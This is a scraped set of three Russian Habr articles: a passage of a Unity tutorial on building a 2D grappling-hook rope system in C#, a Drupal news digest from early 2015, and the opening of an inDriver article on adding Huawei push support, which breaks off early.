3. Это самая важная часть основного цикла `Update()`. Сначала мы получаем позицию курсора мыши в мире с помощью метода камеры `ScreenToWorldPoint`. Затем мы вычисляем направление взгляда, вычитая позицию игрока из позиции мыши в мире. Потом используем его для создания `aimAngle`, который является представлением угла прицеливания курсора. Значение сохраняет положительную величину в конструкции if.
4. `aimDirection` — это поворот, который пригодится позже. Нас интересует только значение по Z, поскольку мы используем 2D-камеру, и это единственная соответствующая ос. Мы передаём `aimAngle * Mathf.Rad2Deg`, что преобразует радианный угол в угол в градусах.
5. Позиция игрока отслеживается с помощью удобной переменной, которая позволяет не ссылаться постоянно на `transform.Position`.
6. Наконец, у нас есть конструкция `if..else`, которую мы скоро используем для того, чтобы определять, прикреплена ли верёвка к опорной точке.
Сохраните скрипт и вернитесь в редактор.
Прикрепите компонент *RopeSystem* к объекту Player и навесьте различные компоненты к публичным полям, которые мы создали в скрипте *RopeSystem*. Перетащите в соответствующие поля *Player*, *Crosshair* и *RopeHingeAnchor*:
* *Rope Hinge Anchor*: RopeHingeAnchor
* *Rope Joint*: Player
* *Crosshair*: Crosshair
* *Crosshair Sprite*: Crosshair
* *Player Movement*: Player
Сейчас мы всего лишь выполняем все эти замысловатые вычисления, но пока нет никакой визуализации, которая могла бы показать их в действии. Но не волнуйтесь, скоро мы этим займёмся.
Откройте скрипт *RopeSystem* и добавьте в него новый метод:
```
private void SetCrosshairPosition(float aimAngle)
{
if (!crosshairSprite.enabled)
{
crosshairSprite.enabled = true;
}
var x = transform.position.x + 1f * Mathf.Cos(aimAngle);
var y = transform.position.y + 1f * Mathf.Sin(aimAngle);
var crossHairPosition = new Vector3(x, y, 0);
crosshair.transform.position = crossHairPosition;
}
```
Этот метод позиционирует прицел на основании передаваемого `aimAngle` (значение float, которое мы вычислили в `Update()`) так, чтобы он вращался вокруг игрока с радиусом в 1 единицу. Также мы включаем спрайт прицела на случай, если это ещё не сделано.
В `Update()` меняем конструкцию `if..else`, проверяющую `!ropeAttached`, чтобы она выглядела так:
```
if (!ropeAttached)
{
SetCrosshairPosition(aimAngle);
}
else
{
crosshairSprite.enabled = false;
}
```
Сохраните скрипт и запустите игру. Теперь наш слизняк должен уметь целиться с помощью прицела.
Следующая часть логики, которую нужно реализовать — это выстрел крюком-кошкой. Мы уже определили направление прицеливания, поэтому нам нужен метод, который будет получать его в качестве параметра.
Добавьте под переменными в скрипте *RopeSystem* следующие переменные:
```
public LineRenderer ropeRenderer;
public LayerMask ropeLayerMask;
private float ropeMaxCastDistance = 20f;
private List ropePositions = new List();
```
*LineRenderer* будет содержать ссылку на рендер линий, который отрисовывает верёвку. *LayerMask* позволяет настраивать слои физики, с которыми может взаимодействовать крюк. Значение `ropeMaxCastDistance` задаёт максимальное расстояние, на которое может «выстреливаться» raycast.
Наконец, список позиций Vector2 будет использоваться для отслеживания точек оборачивания верёвки, которые мы рассмотрим позже.
Добавьте следующие новые методы:
```
// 1
private void HandleInput(Vector2 aimDirection)
{
if (Input.GetMouseButton(0))
{
// 2
if (ropeAttached) return;
ropeRenderer.enabled = true;
var hit = Physics2D.Raycast(playerPosition, aimDirection, ropeMaxCastDistance, ropeLayerMask);
// 3
if (hit.collider != null)
{
ropeAttached = true;
if (!ropePositions.Contains(hit.point))
{
// 4
// Немного подпрыгивает над землёй, когда игрок к чему-то прицепится крюком.
transform.GetComponent().AddForce(new Vector2(0f, 2f), ForceMode2D.Impulse);
ropePositions.Add(hit.point);
ropeJoint.distance = Vector2.Distance(playerPosition, hit.point);
ropeJoint.enabled = true;
ropeHingeAnchorSprite.enabled = true;
}
}
// 5
else
{
ropeRenderer.enabled = false;
ropeAttached = false;
ropeJoint.enabled = false;
}
}
if (Input.GetMouseButton(1))
{
ResetRope();
}
}
// 6
private void ResetRope()
{
ropeJoint.enabled = false;
ropeAttached = false;
playerMovement.isSwinging = false;
ropeRenderer.positionCount = 2;
ropeRenderer.SetPosition(0, transform.position);
ropeRenderer.SetPosition(1, transform.position);
ropePositions.Clear();
ropeHingeAnchorSprite.enabled = false;
}
```
Вот, что делает показанный выше код:
1. HandleInput вызывается из цикла `Update()` и просто опрашивает ввод левой и правой клавиш мыши.
2. Когда зарегистрировано нажатие левой клавишей мыши, включается рендер линии верёвки и выстреливается 2D-raycast из позиции игрока в направлении прицеливания. Задаётся максимальное расстояние, чтобы крюк-кошку нельзя было выстреливать на бесконечное расстояние, и применяется маска, чтобы можно было выбрать слои физики, с которыми raycast способен столкнуться.
3. Если обнаружено попадание raycast, то `ropeAttached` принимает значение `true`, и выполняется проверка списка позиций вершин верёвки, чтобы убедиться, что точки ещё там нет.
4. Если проверка возвратила true, то к слизняку добавляется небольшой импульс силы, чтобы он подпрыгнул над землёй, включается `ropeJoint` (DistanceJoint2D), которому задаётся расстояние, равное расстоянию между слизняком и точкой попадания raycast. Также включается спрайт опорной точки.
5. Если raycast ни во что не попал, то line renderer и ropeJoint отключаются, а флаг `ropeAttached` принимает значение false.
6. Если нажата правая клавиша мыши, то вызывается метод `ResetRope()`, который отключает и сбрасывает все связанные с верёвкой/крюком параметры на значения, которые должны быть, если крюк не используется.
В самом низу нашего метода `Update` добавим вызов нового метода `HandleInput()` и передадим ему значение `aimDirection`:
```
HandleInput(aimDirection);
```
Сохраните изменения в *RopeSystem.cs* и вернитесь в редактор.
Добавление верёвки
------------------
Наш слизняк не сможет летать по воздуху без верёвки, поэтому самое время дать ему то, что будет визуальным отображением верёвки и имеет способность «оборачиваться» вокруг углов.
Для этого идеально подходит line renderer, потому что он позволяет нам передавать количество точек и их позиции в пространстве мира.
Идея здесь заключается в том, что мы всегда храним первую вершину верёвки (0) в позиции игрока, а все остальные вершины позиционируются динамически, когда верёвка должна обернуться вокруг чего-нибудь, в том числе и текущую позицию шарнира, которая является следующей точкой вдоль верёвки от игрока.
Выберите *Player* и добавьте к нему компонент *LineRenderer*. Задайте для *Width* значение *0.075*. Разверните список *Materials* и в качестве *Element 0* выберите материал *RopeMaterial*, находящийся в папке *Materials* проекта. Наконец, у Line Renderer для параметра *Texture Mode* выберите значение *Distribute Per Segment*.
Перетащите компонент Line Renderer в поле *Rope Renderer* компонента *Rope System*.
Нажмите на разворачивающийся список *Rope Layer Mask* и выберите в качестве слоёв, с которыми может взаимодействовать raycast *Default, Rope и Pivot*. Благодаря этому при «выстреливании» raycast он будет сталкиваться только с этими слоями, но не с другими объектами, такими как игрок.
Если запустить игру сейчас, то можно заметить странное поведение. Когда мы нацеливаемся в камень над головой слизняка и выстреливаем крюком, то получается небольшой прыжок вверх, после чего наш друг начинает вести себя довольно хаотично.
Мы пока не задали расстояние для distance joint, кроме того, не настроены вершины рендера линии. Поэтому мы не видим верёвку, а поскольку distance joint находится прямо над позицией слизняка, текущее значение расстояния distance joint толкает его вниз, на камни под ним.
Но не волнуйтесь, сейчас мы решим эту проблему.
В скрипте *RopeSystem.cs* добавим в начале класса новый оператор:
```
using System.Linq;
```
Это позволяет нам использовать запросы LINQ, которые в нашем случае просто позволяют удобно находить первый или последний элемент списка `ropePositions`.
> *Примечание*: Language-Integrated Query (LINQ) — это название набора технологий, основанных на встраивании возможностей запросов непосредственно в язык C#. Подробнее можно прочитать о нём [здесь](https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/concepts/linq/).
Добавьте новую приватную переменную bool с названием `distanceSet` под другими переменными:
```
private bool distanceSet;
```
Мы будем использовать эту переменную в качестве флага, чтобы скрипт мог узнавать, что расстояние верёвки (для точки между игроком и текущей опорной точкой, где прикреплён крюк-кошка) задано правильно.
Теперь добавим новый метод, который мы будем использовать для задания позиций вершин верёвки для рендера линии и настройки расстояния distance joint в хранимом списке позиций верёвкой (`ropePositions`):
```
private void UpdateRopePositions()
{
// 1
if (!ropeAttached)
{
return;
}
// 2
ropeRenderer.positionCount = ropePositions.Count + 1;
// 3
for (var i = ropeRenderer.positionCount - 1; i >= 0; i--)
{
if (i != ropeRenderer.positionCount - 1) // if not the Last point of line renderer
{
ropeRenderer.SetPosition(i, ropePositions[i]);
// 4
if (i == ropePositions.Count - 1 || ropePositions.Count == 1)
{
var ropePosition = ropePositions[ropePositions.Count - 1];
if (ropePositions.Count == 1)
{
ropeHingeAnchorRb.transform.position = ropePosition;
if (!distanceSet)
{
ropeJoint.distance = Vector2.Distance(transform.position, ropePosition);
distanceSet = true;
}
}
else
{
ropeHingeAnchorRb.transform.position = ropePosition;
if (!distanceSet)
{
ropeJoint.distance = Vector2.Distance(transform.position, ropePosition);
distanceSet = true;
}
}
}
// 5
else if (i - 1 == ropePositions.IndexOf(ropePositions.Last()))
{
var ropePosition = ropePositions.Last();
ropeHingeAnchorRb.transform.position = ropePosition;
if (!distanceSet)
{
ropeJoint.distance = Vector2.Distance(transform.position, ropePosition);
distanceSet = true;
}
}
}
else
{
// 6
ropeRenderer.SetPosition(i, transform.position);
}
}
}
```
Объясним показанный выше код:
1. Выполняем выход из метода, если верёвка не прикреплена.
2. Присваиваем величине точек рендера линии верёвки значение количества позиций, хранящихся в `ropePositions`, плюс ещё 1 (для позиции игрока).
3. Обходим в цикле в обратном направлении список `ropePositions` и для каждой позиции (кроме последней), присваиваем позиции вершины рендера линии значение позиции Vector2, хранящейся по индексу цикла в списке `ropePositions`.
4. Присваиваем опорной точке верёвки вторую с конца позицию верёвки, в которой должен находиться текущий шарнир/опорная точка, или если у нас есть только одна позиция верёвки, то делаем её опорной точкой. Так мы задаём расстояние `ropeJoint` равным расстоянию между игроком и текущей позицией верёвки, которую мы обходим в цикле.
5. Конструкция if обрабатывает случай, когда текущая позиция верёвки в цикле является второй с конца; то есть точкой, в которой верёвка соединяется с объектом, т.е. текущий шарнир/опорная точка.
6. Этот блок `else` обрабатывает присвоение позицию последней вершины верёвки значения текущей позиции игрока.
Не забудьте добавить в конце `Update()` вызов `UpdateRopePositions()`:
```
UpdateRopePositions();
```
Сохраните изменения в скрипте и снова запустите игру. Сделайте «пробелом» небольшой прыжок, нацелившись и выстрелив крюком в камень над персонажем. Теперь вы можете наслаждаться плодами своих трудов — слизняк спокойно качается над камнями.
Теперь можно перейти к окну сцены, выбрать Player, воспользоваться инструментом перемещения (по умолчанию клавиша *W*), чтобы перемещать его и наблюдать за тем, как две вершины рендера линии верёвки следуют за позицией крюка и позицией игрока для отрисовки верёвки. После того, как мы отпускаем игрока, DistanceJoint2D правильным образом пересчитывает расстояние и слизняк будет продолжать качаться на соединённом шарнире.
Обработка точек оборачивания
----------------------------
Игра с качающимся слизняком пока полезна не больше, чем водоотталкивающее полотенце, поэтому нам совершенно определённо нужно её дополнить.
Хорошая новость заключается в том, что только что добавленный метод обработки позиций верёвки можно использовать в будущем. Пока мы используем только две позиции верёвки. Одна соединена с позицией игрока, а вторая — к текущей позиции опорной точки крюка при выстреле им.
Единственная проблема заключается в том, что пока мы не отслеживаем все потенциальные позиции верёвки, и над этим нужно немного поработать.
Для распознавания позиций на камнях, вокруг которых должна оборачиваться верёвка, добавляя новую позицию вершины к рендеру линии, нам необходима система, определяющая, находится ли точка вершины коллайдера между прямой линией между текущей позицией слизняка и текущим шарниром/опорной точкой верёвки.
Похоже, это снова работа для старого доброго raycast!
Для начала нам нужно создать метод, который сможет находить ближайшую точку в коллайдере на основании точки попадания raycast и граней коллайдера.
Добавим новый метод в скрипт *RopeSystem.cs*:
```
// 1
private Vector2 GetClosestColliderPointFromRaycastHit(RaycastHit2D hit, PolygonCollider2D polyCollider)
{
// 2
var distanceDictionary = polyCollider.points.ToDictionary(
position => Vector2.Distance(hit.point, polyCollider.transform.TransformPoint(position)),
position => polyCollider.transform.TransformPoint(position));
// 3
var orderedDictionary = distanceDictionary.OrderBy(e => e.Key);
return orderedDictionary.Any() ? orderedDictionary.First().Value : Vector2.zero;
}
```
Если вам не знакомы запросы LINQ, то этот код может показаться какой-то сложной магией C#.
Если это так, то не бойтесь. LINQ самостоятельно делает за нас много работы:
1. Этот метод получает два параметра — объект *RaycastHit2D* и *PolygonCollider2D*. Все камни на уровне имеют коллайдеры PolygonCollider2D, поэтому если мы всегда будем использовать фигуры PolygonCollider2D, то сработает отлично.
2. Здесь начинается магия запросов LINQ! Тут мы преобразуем коллекцию точек полигонального коллайдера в словарь позиций *Vector2* (значение каждого элемента словаря является самой позицией), а ключу каждого элемента присваивается значение расстояния от этой точки до позиции игрока player (значение float). Иногда здесь происходит и кое-что ещё: получившаяся позиция преобразуется в пространство мира (по умолчанию позиции вершин коллайдера хранятся в локальном пространстве, т.е. в локальном относительно объекта, которому принадлежит коллайдер, а нам нужны позиции в пространстве мира).
3. Словарь упорядочен по ключам. Другими словами, по ближайшему к текущей позиции игрока расстоянию. Возвращается ближайшее расстояние, то есть любая точка, возвращаемая этим методом, является точкой коллайдера между игроком и текущей точкой шарнира верёвки!
Вернёмся в скрипт *RopeSystem.cs* и добавим вверху новую приватную переменную поля:
```
private Dictionary wrapPointsLookup = new Dictionary();
```
Мы воспользуемся ею для отслеживания позиций, вокруг которых может обернуться верёвка.
В конце метода `Update()` найдите конструкцию `else`, в которой содержится `crosshairSprite.enabled = false;` и добавьте следующее:
```
// 1
if (ropePositions.Count > 0)
{
// 2
var lastRopePoint = ropePositions.Last();
var playerToCurrentNextHit = Physics2D.Raycast(playerPosition, (lastRopePoint - playerPosition).normalized, Vector2.Distance(playerPosition, lastRopePoint) - 0.1f, ropeLayerMask);
// 3
if (playerToCurrentNextHit)
{
var colliderWithVertices = playerToCurrentNextHit.collider as PolygonCollider2D;
if (colliderWithVertices != null)
{
var closestPointToHit = GetClosestColliderPointFromRaycastHit(playerToCurrentNextHit, colliderWithVertices);
// 4
if (wrapPointsLookup.ContainsKey(closestPointToHit))
{
ResetRope();
return;
}
// 5
ropePositions.Add(closestPointToHit);
wrapPointsLookup.Add(closestPointToHit, 0);
distanceSet = false;
}
}
}
```
Объясним этот фрагмент кода:
1. Если в списке `ropePositions` хранятся какие-то позиции, то...
2. Выстреливаем из позиции игрока в направлении игрока, смотрящего на последнюю позицию верёвки из списка — опорную точку, в которой крюк-кошка прицепился к камню — с расстоянием raycast равным расстоянию между игроком и позицией опорной точки верёвки.
3. Если raycast с чем-то сталкивается, то коллайдер этого объекта безопасно приводится к типу *PolygonCollider2D*. Пока он является настоящим PolygonCollider2D, ближайшая позиция вершины этого коллайдера возвращается с помощью написанного нами ранее метода как *Vector2*.
4. Проверяется `wrapPointsLookup`, чтобы убедиться, что та же позиция не проверяется снова. Если она проверяется, то мы сбрасываем верёвку и обрезаем её, роняя игрока.
5. Затем обновляется список `ropePositions`: добавляется позиция, вокруг которой должна обернуться верёвка. Также обновляется словарь `wrapPointsLookup`. Наконец, сбрасывается флаг `distanceSet`, чтобы метод `UpdateRopePositions()` мог переопределить расстояния верёвки с учётом новой длины верёвки и сегментов.
В `ResetRope()` добавим следующую строку, чтобы словарь `wrapPointsLookup` очищался каждый раз, когда игрок отсоединяет верёвку:
```
wrapPointsLookup.Clear();
```
Сохранитесь и запустите игру. Выстрелите крюком-кошкой в камень над слизняком и воспользуйтесь инструментом Move в окне Scene, чтобы переместить слизняка за несколько каменных выступов.
Вот так мы научили верёвку оборачиваться вокруг объектов!
Добавляем способность раскачивания
----------------------------------
Слизняк висит на верёвке довольно статично. Чтобы исправить это, мы можем добавить способность раскачивания.
Для этого нам нужно получить позицию, перпендикулярную к позиции раскачивания вперёд (вбок), вне зависимости от угла, под которым он смотрит.
Откройте *PlayerMovement.cs* и добавьте в верхнюю часть скрипта две следующие публичные переменные:
```
public Vector2 ropeHook;
public float swingForce = 4f;
```
Переменной `ropeHook` будет присваиваться любая позиция, в которой находится крюк верёвки в настоящее время, а `swingForce` — это значение, которое мы используем для добавления движения раскачивания.
Замените метод `FixedUpdate()` новым:
```
void FixedUpdate()
{
if (horizontalInput < 0f || horizontalInput > 0f)
{
animator.SetFloat("Speed", Mathf.Abs(horizontalInput));
playerSprite.flipX = horizontalInput < 0f;
if (isSwinging)
{
animator.SetBool("IsSwinging", true);
// 1 - получаем нормализованный вектор направления от игрока к точке крюка
var playerToHookDirection = (ropeHook - (Vector2)transform.position).normalized;
// 2 - Инвертируем направление, чтобы получить перпендикулярное направление
Vector2 perpendicularDirection;
if (horizontalInput < 0)
{
perpendicularDirection = new Vector2(-playerToHookDirection.y, playerToHookDirection.x);
var leftPerpPos = (Vector2)transform.position - perpendicularDirection * -2f;
Debug.DrawLine(transform.position, leftPerpPos, Color.green, 0f);
}
else
{
perpendicularDirection = new Vector2(playerToHookDirection.y, -playerToHookDirection.x);
var rightPerpPos = (Vector2)transform.position + perpendicularDirection * 2f;
Debug.DrawLine(transform.position, rightPerpPos, Color.green, 0f);
}
var force = perpendicularDirection * swingForce;
rBody.AddForce(force, ForceMode2D.Force);
}
else
{
animator.SetBool("IsSwinging", false);
if (groundCheck)
{
var groundForce = speed * 2f;
rBody.AddForce(new Vector2((horizontalInput * groundForce - rBody.velocity.x) * groundForce, 0));
rBody.velocity = new Vector2(rBody.velocity.x, rBody.velocity.y);
}
}
}
else
{
animator.SetBool("IsSwinging", false);
animator.SetFloat("Speed", 0f);
}
if (!isSwinging)
{
if (!groundCheck) return;
isJumping = jumpInput > 0f;
if (isJumping)
{
rBody.velocity = new Vector2(rBody.velocity.x, jumpSpeed);
}
}
}
```
Основные изменения здесь заключаются в том, что сначала проверяется флаг `isSwinging`, чтобы действия выполнялись только когда слизняк висит на верёвке, а также мы добавляем перпендикуляр к углу слизняка, указывающий на его текущую опорную точку в верхней части верёвки, но перпендикулярный направлению его качания.
1. Получаем нормализованный вектор направления от игрока к точке закрепления крюка.
2. В зависимости от того, качается ли слизняк влево или вправо, перпендикулярное направление вычисляется с помощью `playerToHookDirection`. Также добавлен отладочный вызов отрисовки, чтобы при желании можно было увидеть его в редакторе.
Откройте *RopeSystem.cs* и в верхней части *блока else* внутри `if(!ropeAttached)` метода `Update()` добавьте следующее:
```
playerMovement.isSwinging = true;
playerMovement.ropeHook = ropePositions.Last();
```
В *блоке if* той же конструкции `if(!ropeAttached)` добавьте следующее:
```
playerMovement.isSwinging = false;
```
Так мы сообщаем скрипту PlayerMovement, что игрок качается, а также определяем последнюю (за исключением позиции игрока) позицию верёвки — иными словами, опорную точку верёвки. Это необходимо для вычисления перпендикулярного угла, которое мы только что добавили в скрипт PlayerMovement.
Вот как это выглядит, если включить в запущенной игре gizmos и нажимать A или D для раскачивания влево/вправо:
Добавление спуска по верёвке
----------------------------
Пока у нас нет возможности перемещаться вверх-вниз по верёвке. Хоть в реальной жизни слизняк не мог бы с лёгкостью подниматься и опускаться по верёвке, но это же игра, в которой может случиться что угодно, верно?
В верхнюю часть скрипта *RopeSystem* добавим две новых переменных поля:
```
public float climbSpeed = 3f;
private bool isColliding;
```
`climbSpeed` будет задавать скорость, с которой слизняк может двигаться вверх и вниз по верёвке, а `isColliding` будет применяться как флаг для определения того, можно ли увеличивать или уменьшать свойство расстояния distance joint верёвки.
Добавим такой новый метод:
```
private void HandleRopeLength()
{
// 1
if (Input.GetAxis("Vertical") >= 1f && ropeAttached && !isColliding)
{
ropeJoint.distance -= Time.deltaTime * climbSpeed;
}
else if (Input.GetAxis("Vertical") < 0f && ropeAttached)
{
ropeJoint.distance += Time.deltaTime * climbSpeed;
}
}
```
Этот блок `if..elseif` считывает ввод по вертикальной оси (вверх/вниз или W/S на клавиатуре), и с учётом флагов `ropeAttached iscColliding` увеличивает или уменьшает расстояние `ropeJoint`, создавая эффект удлинения или укорачивания верёвки.
Прицепим этот метод, добавив его вызов в конец `Update()`:
```
HandleRopeLength();
```
Также нам понадобится способ задания флага `isColliding`.
В нижнюю часть скрипта добавьте два следующих метода:
```
void OnTriggerStay2D(Collider2D colliderStay)
{
isColliding = true;
}
private void OnTriggerExit2D(Collider2D colliderOnExit)
{
isColliding = false;
}
```
Эти два метода являются нативными методами базового класса скриптов MonoBehaviour.
Если Collider в текущий момент касается другого физического объекта в игре, то постоянно будет срабатывать метод `OnTriggerStay2D`, присваивая флагу `isColliding` значение `true`. Это значит, что когда слизняк касается камня, флагу isColliding присваивается значение `true`.
Метод `OnTriggerExit2D` срабатывает, когда один коллайдер покидает область другого коллайдера, присваивая флагу значение false.
Имейте в виду: метод `OnTriggerStay2D` может быть очень затратным по вычислениям, поэтому используйте его аккуратно.
Куда двигаться дальше?
----------------------
Снова запустите игру и на этот раз нажимайте клавиши со стрелками или W/S, чтобы двигаться вверх-вниз по верёвке.
Готовый проект этой части туториала можно скачать [здесь](https://koenig-media.raywenderlich.com/uploads/2017/09/2DGrapplingHook-Part1-Final-1.zip).
Мы прошли долгий путь — от не умеющего качаться размазни-слизняка до акробатического беспанцирного брюхоногого моллюска!
Вы узнали, как создать систему прицеливания, которая может выстреливать крюк-кошку в любой объект, имеющий коллайдер, цепляться за него и одновременно качаться на нём, оборачиваясь на динамической верёвке вокруг граней объектов! Отличная работа.
Однако здесь отсутствует важная функция — верёвка не может «раскручиваться», когда это необходимо.
Во [второй части](https://habr.com/post/415217/) туториала мы будем решать эту задачу.
Но если вы готовы рискнуть, то почему бы не попробовать сделать это самостоятельно? Для этого можно использовать словарь `wrapPointsLookup`. | https://habr.com/ru/post/414887/ | null | ru | null |
# Дайджест интересных материалов из мира Drupal #3
Всем привет!
Мы отобрали для вас самое интересное и полезное из мира Drupal за первые недели 2015 года.
### По-русски
1. Во-первых, в тестовом режиме запустилась новая площадка сообщества [DrupalifeCommunity](http://community.drupalife.com/). Слово автору:
> Сразу скажу о судьбе проекта. Им я не претендую заменить Drupal.ru, это совершенно отдельное и самостоятельное начинание. Скажем так, альтернативное сообщество, как каким-то пытался стать DrupalSN.
На новой площадке уже замечено несколько друпал-гуру, а это хороший знак :)
2. Чуть ли не первая серьёзная статья на русском, в которой одновременно встречаются слова Drupal и Postgres: «[Тестирование производительности Drupal: MySQL vs PostgreSQL часть 1](http://arsen-borovinskiy.blogspot.ru/2015/01/drupal-performance-benchmark.html)». Очень ждём следующих частей!
3. Продолжая тему баз данных, Роман Агабеков подробно пишет про [репликацию master-slave MySQL](http://drupal-admin.ru/blog/replication-mysql-master-slave).
4. Как же без Panels: в этот раз «[Добавляем поддержку Token'ов в настройки Panel Pane](http://www.angarsky.ru/drupal/token-v-nastroyki-panel-pane.html)».
5. Рубрика «Антиквариат»: [код либрусека пятилетней выдержки](https://github.com/larin/librusec).
### Drupal Lite
В этой рубрике мы собрали несколько хороших заметок для тех, кто только начал работать с Drupal.
1. [Добавляем к материалу поле-чекбокс](http://befused.com/drupal/on-off-check-box).
2. [Модули для улучшения юзабилити списков](http://www.paulrowell.com/my-thoughts/drupal-fields-improving-select-lists). Не забудьте заглянуть в комментарии.
3. [Форматы даты и времени в Drupal](https://www.ostraining.com/blog/drupal/date-time-format/).
4. В системе темизации в Drupal поначалу можно запутаться. Заметка «[How to override field templates in Drupal 7](https://3cwebservices.com/drupal/how-override-field-templates-drupal-7)» помогает разобраться, как работают шаблоны полей.
5. [Один из способов создания Drag&Drop интерфейса во Views](https://3cwebservices.com/drupal/creating-drag-drop-sorting-interface-drupal-view) — модуль DraggbleViews.
6. [Лучшие материалы 2014 года](http://www.theweeklydrop.com/archive/issue-170) по версии TheWeeklyDrop.
7. Ну и хабровский [обзор материалов для изучения Drupal](http://habrahabr.ru/post/202202/), конечно.
### Всё для Drupal-разработчика
1. Начнём с серии статей про Drush, инструмент, без которого друпал не был бы друпалом: [часть 1](http://drupalwatchdog.com/volume-3/issue-1/drush-swiss-army-knife-drupal), [часть 2](http://drupalwatchdog.com/volume-3/issue-2/drush-swiss-army-knife-drupal) и [часть 3](http://drupalwatchdog.com/volume-4/issue-1/drush-swiss-army-knife-drupal).
Если вам вдруг стало грустно и одиноко, просто наберите `drush --druplicon` :)
2. Сегодня виртуализация dev-окружения уже стала стандартом. Ребята из Blink Reaction написали роман в 5 частях про Vagrant и Drupal: [1](http://www.blinkreaction.com/blog/part-one-virtualizing-your-drupal-dev-environment-for-cleanliness-and-consistency), [2](http://www.blinkreaction.com/blog/part-two-getting-up-and-vming), [3](http://www.blinkreaction.com/blog/part-three-getting-your-site-onto-the-vm), [4](http://www.blinkreaction.com/blog/part-four-ide-integration), [5](http://www.blinkreaction.com/blog/part-five-cleanup-and-troubleshooting).
3. Пока создатель друпала Дрис Бёйтарт [днюет и ночует с восьмёркой](http://buytaert.net/drupal-retrospective-2014), облегчённый форк друпала [Backdrop CMS](https://backdropcms.org/) празднует свой первый релиз. Кстати, о праздниках: самому друпалу [уже 14 (!) лет](https://twitter.com/drupal/status/555653181276172288).
4. Backdrop CMS — полноценная часть Drupal-комьюнити. Такой вывод можно сделать, почитав [целый разворот об этом форке](http://drupalwatchdog.com/volume-4/issue-1/backdrop-cms) в официальном Drupal-журнале.
5. Фундаментальный труд о Panels *для разработчиков* подготовили в Палантире: [Explaining Panels: An Overview for Drupal Developers](http://www.palantir.net/blog/explaining-panels-overview-drupal-developers).
6. На Drupal.org выпустили [подборку решений и модулей](https://www.drupal.org/resource-guides/marketing-automation-and-crm), которые помогут собрать и настроить свою CRM.
7. Если вам нужно расширить функциональность модуля Context под ваши нужды, то обратите внимание на статью «[Creating a Context Plugin](https://chillco.com/blog/creating-context-plugin)».
8. Юрий Герасимов в своём блоге показывает на примере, [зачем может пригодиться `#theme_wrappers`](http://ygerasimov.com/render-custom-button).
### Drupal 8
1. Если кодить нет настроения, то вот вам [восемь обзорных видео о восьмой версии Drupal](http://getlevelten.com/blog/brent-bice/drupal-8-videos-you-need-watch).
2. Отличный [гид по изменениям в Form API](https://drupalize.me/blog/201501/changes-form-api-drupal-8) поможет разобраться с формами даже зелёным новичкам. Без помощи хорошей IDE, конечно, будет сложновато.
3. Akshay Kalose из Шри-Ланки в рамках Google Summer of Code изучила Drupal 8 с нуля и написала для него целый модуль: [RDF UI](http://www.kalose.net/oss/drupal-8-rdf-ui-schema-org-mappings/). А ещё она написала полезную статью про [AJAX в Drupal 8](http://www.kalose.net/oss/drupal-8-ajax-forms/).
4. Пара коротких заметок на тему Твига: [добавляем переменную в шаблон](http://www.vilepickle.com/blog/2015/01/14/00187-print-your-themes-logo-path-drupal-8-twig), [переиспользуем кусок Twig-шаблона](http://www.vilepickle.com/blog/2015/01/15/00188-repeating-blocks-template-code-drupal-8).
5. Создание своего Views-хэндлера в восьмёрке почти не отличается от того же процесса в семёрке. [Посмотрите сами](http://www.webomelette.com/creating-custom-views-field-drupal-8).
### Интересные модули
1. [DataBase Email Encryption](https://www.drupal.org/project/dbee) для шифрования почтовых адресов в базе.
2. [Field Split](https://www.drupal.org/project/field_split) для Display Suite или Field Group.
3. [Query Parameters To URL](https://www.drupal.org/project/query_parameters_to_url) для Views (требуется патч ядра).
4. [Panels, Why so slow?](https://www.drupal.org/project/panels_why_so_slow) для профилирования панелей.
5. [Paragraphs](https://www.drupal.org/project/paragraphs) — лёгкая замена Panels
6. [Smart Trim](https://www.drupal.org/project/smart_trim) ([видео](http://codekarate.com/daily-dose-of-drupal/drupal-7-smart-trim-simple-way-shorten-long-text-areas))
7. [Entityform](https://www.drupal.org/project/entityform) вместо Webform ([большой туториал](https://3cwebservices.com/drupal/introduction-entityform-module-drupal-7))
8. [Superfish](https://www.drupal.org/project/superfish) ([видео](http://codekarate.com/daily-dose-of-drupal/drupal-7-superfish-easy-way-get-dropdown-menus))
9. [Auto Assign Role](https://www.drupal.org/project/autoassignrole) ([видео](http://codekarate.com/daily-dose-of-drupal/drupal-auto-assign-role-module-control-your-drupal-roles))
10. [Views Usage Audit](https://www.drupal.org/project/views_usage_audit), [Views Maintenance](https://www.drupal.org/project/views_maintenance) и [Views cache bully](https://www.drupal.org/project/views_cache_bully) для обслуживания Views.
Над выпуском работали [Олег Кот](mailto:Aleh_Kot@epam.com) и [Катя Маршалкина](mailto:marshalkina@licel.ru). Это уже третий выпуск на хабре (вот [1](http://habrahabr.ru/post/245209/) и [2](http://habrahabr.ru/post/246573/)). Спасибо друпалу и нашим читателям за вдохновение :)
Будем рады комментариям, предложениям и дополнениям! | https://habr.com/ru/post/248293/ | null | ru | null |
# Как мы в андроид приложение inDriver добавили поддержку Harmony OS
Все началось с того, что [министерство торговли США включило Huawei в список компаний, с которыми запрещено вести бизнес американским компаниям](https://habr.com/ru/news/t/452406/). Ответом Huawei стала операционная система Harmony OS для своих смартфонов, и отказ использовать в ней сервисы Google. И чтобы не потерять часть рынка, мы интегрировали в inDriver ее поддержку. Хотя «интеграция OS» звучит громко – наше приложение, как и любое другое, написанное под Android, запустится на Harmony, но для полноценной работы необходимо заменить Google-сервисы на аналогичные Huawei.
[](https://habr.com/ru/company/indriver/blog/497142/)
В inDriver мы используем сервисы Google для 3 целей:
* Отправление пуш уведомлений;
* Определение локации;
* Google карты.
Push Kit – отправление push-уведомлений
---------------------------------------
Для начала, у Huawei есть неплохая [документация](https://developer.huawei.com/consumer/en/doc/development/HMS-Guides/push-introduction). Но для быстрого старта достаточно использовать [step-by-step туториал](https://developer.huawei.com/consumer/en/codelab/HMSPushKit/#0).
Пересказывать то, что там написано не буду, остановлюсь лишь на некоторых пунктах, поскольку тут необходимы комментарии.
**Enabling the Service**
Вас попросят установить Data Storage Location. Учтите, что его **потом нельзя изменить**. Локация не влияет на непосредственную работу пушей, а является лишь местом хранения и обработки данных о них.
**Integrating the HMS SDK**
После того как вы закончите интеграцию, у вас вероятно будут проблемы со сборкой проекта. Во всяком случае, так было у нас на билд сервере Ubuntu 16.04.5 LTS (GNU/Linux 4.4.0-174-generic x86\_64), при этом локально на рабочем Mac mini (late 2018, Mojave) все работало нормально.
`Execution failed for task ':app:processIndriverReleaseManifest'. org.gradle.api.GradleException: ERROR: no manifest file found`
Исправить это можно, если добавить
```
agcp {
manifest false
}
```
